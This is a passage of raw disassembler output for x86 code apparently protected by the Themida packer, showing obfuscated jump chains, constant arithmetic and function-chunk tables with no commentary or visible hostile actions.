		mov	[esp], cx
		movzx	cx, al
		jmp	loc_593D44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594D40:				; CODE XREF: sub_58C17E+8F9Aj
		pop	esp
		push	esi
		mov	esi, 2AEF3068h
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, 19742664h
		or	edi, esi
		pop	esi
		not	edi
		xor	edi, 0A002891Ah
		add	ebp, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		xchg	ebp, [esp+2+var_4+2]
		jmp	loc_58D8E9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_594D6B:				; CODE XREF: Themida_:0059527Aj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	57B44BA4h
		pop	ebp
		push	ebx
		jmp	loc_594849
; ---------------------------------------------------------------------------


loc_594D97:				; CODE XREF: Themida_:00591448j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596E7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594DA2:				; CODE XREF: sub_5916C4+48FBj
		pop	esi
		push	ecx
		jmp	loc_58B605
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_594DA9:				; CODE XREF: sub_5EC2E8-55075j
		xor	eax, edx
		pop	edx
		sub	eax, 0FFFFFFFFh
		push	eax
		not	[esp+30h+var_30]
		pop	eax
		not	eax
		shr	eax, 8
		add	eax, 2BBFF521h
		add	ebp, eax
		pop	eax
		sub	ebp, 49943014h
		add	ebp, ecx
		add	ebp, 49943014h
		jmp	loc_591954
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_594DD6:				; CODE XREF: Themida_:loc_58F5C0j
		add	eax, 0D2E09E6h
		jmp	loc_58D8C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_594DE0:				; CODE XREF: sub_58B4D6+C938j
		mov	[esp+10h+var_10], ebx
		jmp	loc_5931A2
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_594DE8:				; CODE XREF: Themida_:0058E82Ej
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C71E
; ---------------------------------------------------------------------------


loc_594E0D:				; CODE XREF: Themida_:loc_58C776j
					; Themida_:005977B5j
		add	esp, 4
		jmp	loc_58F325
; ---------------------------------------------------------------------------


loc_594E15:				; CODE XREF: Themida_:0058C1A7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	3631h
		mov	[esp], edi
		mov	edi, 54BC13D0h
		inc	edi
		jmp	loc_5914C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594E3C:				; CODE XREF: sub_58C17E+618Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-0Eh+arg_8+2]
		pop	esp
		xchg	edi, [esp-12h+arg_C+2]
		pop	esp
		mov	ecx, [esp-16h+arg_10+2]
		sub	esp, 4
		mov	[esp-12h+arg_C+2], eax
		mov	eax, esp
		push	ebp
		jmp	loc_58D35B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_594E63:				; CODE XREF: Themida_:loc_594AD9j
		jmp	loc_59143A
; ---------------------------------------------------------------------------


loc_594E68:				; CODE XREF: Themida_:0058C40Ej
		mov	edi, esi
		jmp	loc_58B6FB
; ---------------------------------------------------------------------------


loc_594E6F:				; CODE XREF: Themida_:0058BE11j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58ACE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_594E8C:				; CODE XREF: sub_5919E2-44FAj
		mov	[esp+0], edi
		mov	edi, 0D6F6CAAh
		sub	[ecx], edi
		mov	edi, [esp+0]
		add	esp, 4
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_59348F
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_594EA7:				; CODE XREF: Themida_:005940D1j
		xor	esi, 5E1109A9h
		shr	esi, 5
		inc	esi
		jnz	loc_594F7F
		shl	esi, 6
		jmp	loc_597D69
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx


loc_594EC4:				; CODE XREF: Themida_:00590D0Dj
		sub	bl, 45h
		pop	eax
		add	bl, 0F8h
		jmp	loc_592863
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5951B9


loc_594ED0:				; CODE XREF: sub_5951B9-808Cj
		push	edx
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edx
		jmp	sub_58E3A6
; END OF FUNCTION CHUNK	FOR sub_5951B9
; ---------------------------------------------------------------------------


loc_594EE4:				; CODE XREF: Themida_:005967F5j
		inc	ah
		jnz	loc_594A59
		shl	ah, 3
		jmp	loc_58F7ED
; ---------------------------------------------------------------------------
		push	ax
		mov	ah, 66h
		add	cl, ah
		pop	edi
		mov	esp, [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_594F03:				; CODE XREF: sub_5938B9-4FCj
		not	ecx
		jmp	loc_591FB3
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_594F0A:				; CODE XREF: sub_5EC2E8-5987Fj
		pop	ebx
		push	7527h
		mov	[esp+22h+var_24+2], ebx
		mov	bl, 82h
		and	bl, 0E1h
		not	bl
		push	dx
		push	eax
		jmp	loc_596FEE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_594F22:				; CODE XREF: Themida_:0058CE61j
		push	ebx
		push	213C21DDh
		jmp	loc_595E70
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58BF53
; ---------------------------------------------------------------------------


loc_594F3E:				; CODE XREF: Themida_:00591370j
		pop	ebp
		push	edi
		mov	edi, 24451ED6h
		shr	edi, 4
		or	edi, 269808D6h
		ja	loc_593359
		and	edi, 5CE47035h
		jmp	loc_59350A
; ---------------------------------------------------------------------------
		mov	ch, dh
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		jmp	loc_59754A
; ---------------------------------------------------------------------------


loc_594F77:				; CODE XREF: Themida_:0058D231j
		xor	edi, [esp]
		jmp	loc_58CE15
; ---------------------------------------------------------------------------


loc_594F7F:				; CODE XREF: Themida_:00594EB1j
		shl	esi, 6
		jmp	loc_5969A0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 81A1318h
		push	ebp
		mov	ebp, 81A1314h
		sub	edi, ebp
		pop	ebp
		add	edx, 0D607D4h
		add	edx, edi
		jmp	loc_594AEA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_594FBE:				; CODE XREF: Themida_:0058C1D2j
		pop	ebx
		dec	ebx
		jmp	loc_58F2F9
; ---------------------------------------------------------------------------


loc_594FC5:				; CODE XREF: Themida_:0058AC37j
		dec	ebp
		jl	loc_58CB12
		inc	ebp
		jl	loc_5968D9
		dec	ebp
		sub	al, 0E7h

; =============== S U B	R O U T	I N E =======================================



sub_594FD6	proc near		; CODE XREF: sub_5938B9-14F3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B154 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058ECCD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591B43 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594B37 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597062 SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	eax
		mov	ah, bh
		mov	ch, ah
		jmp	loc_594B37
sub_594FD6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_594FE9:				; CODE XREF: sub_59524C+174Fj
		mov	esi, 2C306A0Bh
		jmp	loc_58D30A
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_594FF3:				; CODE XREF: Themida_:005941ACj
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5922BD
; ---------------------------------------------------------------------------


loc_595010:				; CODE XREF: Themida_:0058C382j
		push	ebx
		push	eax
		mov	ah, 0A8h
		mov	bl, ah
		pop	eax
		jmp	loc_58F34B
; ---------------------------------------------------------------------------


loc_59501C:				; CODE XREF: Themida_:0058CA67j
		add	esp, 2
		sub	bx, 7DA1h
		jmp	loc_597D94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_59502C:				; CODE XREF: sub_595123-71DAj
		pop	esp
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	ebx, ebp
		push	[esp+10h+var_10]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_591C8F
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_59504C:				; CODE XREF: Themida_:00593FDEj
		mov	[esp], ecx
		mov	ch, 1Dh
		push	small 441Eh
		mov	[esp], dx
		mov	dh, 7
		add	ch, dh
		pop	dx
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59463F
; ---------------------------------------------------------------------------


loc_59506C:				; CODE XREF: Themida_:0058C9B6j
		push	73F7h
		mov	[esp], ecx
		jmp	loc_597EC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_595079:				; CODE XREF: sub_59762D-4C92j
		inc	byte ptr [esp+1]
		pop	ecx
		xchg	ch, dh
		shl	dh, 5
		push	cx
		jmp	loc_58CEDC
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59508A:				; CODE XREF: sub_590467+211Ej
		push	edx
		mov	edx, 44656E6Ah
		or	edi, edx
		pop	edx
		dec	edi
		add	edi, 86A5D203h
		add	esi, edi
		pop	edi
		mov	edx, esi
		pop	esi
		sub	eax, 761A4B16h
		add	eax, edx
		push	ecx
		mov	ecx, 151859F7h
		and	ecx, 766F536Ah
		jmp	loc_59519B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_591369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5950C1:				; CODE XREF: sub_59762D-7DCCj
		pop	edx
		push	6071h
		mov	[esp+0], ecx
		mov	ch, 86h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_590EAE
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5950DA:				; CODE XREF: Themida_:00590897j
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 48EC0BCAh
		jmp	loc_5960C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5950EB:				; CODE XREF: sub_58C17E+4875j
		xor	esi, 0A3B8F40Eh
		mov	eax, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		shr	eax, 3
		shr	eax, 6
		xor	eax, 7A013650h
		xor	edi, eax
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_594D40
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_59511D:				; CODE XREF: Themida_:00592329j
		push	ecx
		jmp	loc_5967A4

; =============== S U B	R O U T	I N E =======================================



sub_595123	proc near		; CODE XREF: sub_592857-42Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AFE2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B321 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058B9C9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058BEED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CFF1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D497 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D931 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D9F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DF3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E0CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E175 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E61A SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0058EA29 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058EDF3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F42A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00590701 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590F4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591613 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591765 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591C8F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592139 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592BDB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593289 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059350A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005944BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594675 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059502C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005952D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005953CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595A83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595FF0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059653F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059757F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005979AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597C55 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 27632137h
		dec	ecx
		xor	ecx, 0E3C37ADh
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 48DB7DCDh
		add	ecx, 676F02CEh
		add	ecx, 42C02BDCh
		sub	ecx, eax
		sub	ecx, 42C02BDCh
		push	ebx
		mov	ebx, 222D7F14h
		xor	ebx, 45427DDAh
		sub	ecx, ebx
		jmp	loc_58D931
sub_595123	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_595167:				; CODE XREF: Themida_:0058AFBAj
		xor	edi, edx
		pop	edx
		inc	edi
		jg	loc_59062C
		jmp	loc_58E6D6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		mov	esi, ebx


loc_59517F:				; CODE XREF: Themida_:0059609Ej
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59518A:				; CODE XREF: sub_58F5B5+25B6j
					; Themida_:00597B92j
		add	eax, 7C780284h
		add	eax, ebx
		sub	eax, 7C780284h
		jmp	loc_58C25B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59519B:				; CODE XREF: sub_590467+4C4Cj
		and	ecx, 5F654888h
		shr	ecx, 4
		xor	ecx, 775A4F16h
		add	eax, ecx
		pop	ecx
		pop	edx
		sub	eax, 2
		xchg	eax, [esp-0Ch+arg_8]
		jmp	loc_58EBAB
; END OF FUNCTION CHUNK	FOR sub_590467

; =============== S U B	R O U T	I N E =======================================



sub_5951B9	proc near		; CODE XREF: sub_58F5B5-24CFj
					; Themida_:0058DC82j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D126 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594ED0 SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_58D126
sub_5951B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5951C7:				; CODE XREF: sub_5EC2E8:loc_58A82Ej
		or	dl, 77h
		sub	dl, 8Fh
		jmp	loc_5904A9
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5951D2:				; CODE XREF: Themida_:0058A564j
		inc	dword ptr [esp]
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5951DB:				; CODE XREF: Themida_:00592AE7j
		pop	edx
		add	eax, 1D836EBBh
		sub	eax, ecx
		sub	eax, 1D836EBBh
		push	ebx
		jmp	loc_58CFDD
; ---------------------------------------------------------------------------


loc_5951EE:				; CODE XREF: Themida_:0058A633j
		push	ebx
		jmp	loc_597E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5951F4:				; CODE XREF: sub_59762D-6D66j
					; Themida_:00594A39j
		neg	ebp
		or	ebp, 7AD04679h
		add	ebp, 0F2D51E0h
		push	ebx
		jmp	loc_5979B7
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_595208:				; CODE XREF: Themida_:0058C2C0j
		movsx	cx, al
		push	1FC6h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		push	esi
		jmp	loc_58DE9F
; ---------------------------------------------------------------------------


loc_59521D:				; CODE XREF: Themida_:00591208j
		mov	[esp], edi
		mov	edi, 3EE23178h
		xor	edi, 359306B3h
		sub	edi, 0B7137C7h
		jmp	loc_58A39E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_595236:				; CODE XREF: sub_58C17E-16j
		sub	ecx, 0F992A9Ah
		add	ecx, edi
		add	ecx, 0F992A9Ah
		mov	edi, [esp-6+arg_0+2]
		jmp	loc_58E7DF
; END OF FUNCTION CHUNK	FOR sub_58C17E

; =============== S U B	R O U T	I N E =======================================



sub_59524C	proc near		; CODE XREF: sub_5EC2E8-5B047j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0058A65E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058AFD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BA94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF07 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BF7E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D1C9 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058D30A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DF06 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E132 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E3E5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E839 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058E923 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F7ED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA59 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059125D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005920D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593320 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00594C30 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594FE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059594F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595B92 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00595D14 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059699A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005975EA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00597A63 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00597F97 SIZE 0000000D BYTES

		push	ebx
		mov	ebx, 16AC7617h
		push	edx
		jmp	loc_58E3E5
sub_59524C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_595258	proc near		; CODE XREF: sub_590010+4B86j

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A40F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B596 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058B997 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BD59 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058C673 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C8BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058CCEF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFAC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DFC2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E3DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EC6C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F5AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F8F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F916 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FEF5 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0059183E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591B8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591E6E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592EC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592FF7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594868 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00596CF6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597116 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005971A0 SIZE 0000001C BYTES

		push	ebp
		jmp	loc_597116
sub_595258	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59525E:				; CODE XREF: Themida_:00590FAFj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	456h
		mov	[esp], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_594D6B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_593386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_595288:				; CODE XREF: sub_5EC2E8-58CFEj
		add	ecx, 4
		xor	ecx, [esp+34h+var_34]
		xor	[esp+34h+var_34], ecx
		xor	ecx, [esp+34h+var_34]
		pop	esp


loc_595295:				; CODE XREF: sub_58DBC4+3C3Ej
		sub	esp, 4
		mov	[esp+34h+var_34], ebp
		mov	ebp, ebx
		push	60AAh
		mov	[esp+38h+var_38], ebp
		mov	eax, [esp+38h+var_38]
		push	edx
		jmp	loc_593BFB
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5952AE:				; CODE XREF: Themida_:0058E4DBj
					; sub_5916CB-30E9j
		mov	[esp+0Ch+var_C], eax
		push	59920CA8h
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		push	eax
		mov	eax, 0A66DF358h
		mov	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_596671
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_5952D8:				; CODE XREF: sub_595123+ED9j
		push	[esp+18h+var_14]
		pop	edx
		jmp	loc_5979AF
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_5952E2:				; CODE XREF: Themida_:00593387j
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		push	584Dh
		mov	[esp], eax
		push	0A2D209Bh
		pop	eax
		add	eax, 6EB14403h
		mov	ebp, eax
		pop	eax
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		neg	ebp
		dec	ebp
		jmp	loc_5908DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_595318:				; CODE XREF: sub_59762D-CA10j
		xor	al, 0F6h
		push	ebx
		mov	bl, al
		jmp	loc_58DEAF
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_595322:				; CODE XREF: Themida_:00590A12j
		pop	ebx
		mov	bh, dh
		pop	edx
		push	cx
		mov	cl, 0C7h
		add	bh, cl
		pop	cx
		sub	al, 30h
		sub	al, bh
		add	al, 30h
		mov	ebx, [esp]
		add	esp, 4
		push	cx
		push	68B2h
		mov	[esp], ebx
		mov	bh, 2Dh
		mov	ch, bh
		pop	ebx
		add	bl, ch
		pop	cx
		push	small 6EBEh
		mov	[esp], ax
		push	ebx
		mov	bh, 0BCh
		xor	bh, 0F1h
		mov	al, bh
		jmp	loc_593BCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_595365:				; CODE XREF: sub_5938B9-4188j
		jmp	loc_591573
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_59536A:				; CODE XREF: Themida_:0059428Bj
		push	157Dh
		jmp	loc_596DCD
; ---------------------------------------------------------------------------


loc_595374:				; CODE XREF: Themida_:005964D6j
		add	ecx, 3EE91676h
		jnb	loc_58CC99
		inc	ecx
		sub	ecx, 20490312h
		mov	cl, 28h
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_5936D6


loc_59538A:				; CODE XREF: sub_5936D6+3153j
		pop	edx
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_591215
; END OF FUNCTION CHUNK	FOR sub_5936D6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_58B992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5953A1:				; CODE XREF: sub_5916CB-2150j
					; sub_5916C4-105Bj
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		jmp	sub_58B03F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_5953B3:				; CODE XREF: Themida_:0058BFB5j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5953B8:				; CODE XREF: Themida_:00591FAEj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58C050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5953C4:				; CODE XREF: Themida_:0059131Ej
					; sub_58C17E+8734j
		xor	[esp+4+var_4], ebp
		jmp	loc_5907BF
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_5953CC:				; CODE XREF: sub_595123+245Ej
		mov	edx, esp
		push	ebp
		jmp	sub_58C17E
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_5953D4:				; CODE XREF: Themida_:0058F825j
		mov	[esp], ebp
		push	53BE0650h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 6
		jmp	loc_594098
; ---------------------------------------------------------------------------


loc_5953EA:				; CODE XREF: Themida_:00592102j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5922E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595411:				; CODE XREF: sub_590467-50FEj
		inc	ebp
		jo	loc_5974C0
		jmp	loc_593CE3
